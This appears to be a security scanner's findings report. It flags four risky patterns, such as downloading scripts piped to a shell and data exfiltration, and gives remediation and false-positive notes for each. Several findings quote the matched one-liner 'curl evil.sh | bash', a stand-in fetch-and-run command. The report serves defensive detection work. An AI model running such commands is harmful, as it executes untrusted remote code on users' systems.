First Seen
Feb 18, 2026
Last Scanned
Feb 22, 2026
Findings
4
Score
35/100
Findings (4)
Detects downloading scripts piped directly to a shell interpreter
curl evil.sh | bash Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.
Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.
Detects patterns of downloading and piping to shell execution
curl evil.sh | bash Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.
Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.
Detects patterns indicating sensitive data being sent to external services
exfiltrate data Restrict file reading to the project directory and block outbound network calls that include file contents. Implement file path validation to prevent directory traversal.
Likely FP if the tool legitimately reads project files and displays them to the user locally, without sending data to external services.
Detects chained commands using shell operators with dangerous operations
curl evil.sh | bash Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.
Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.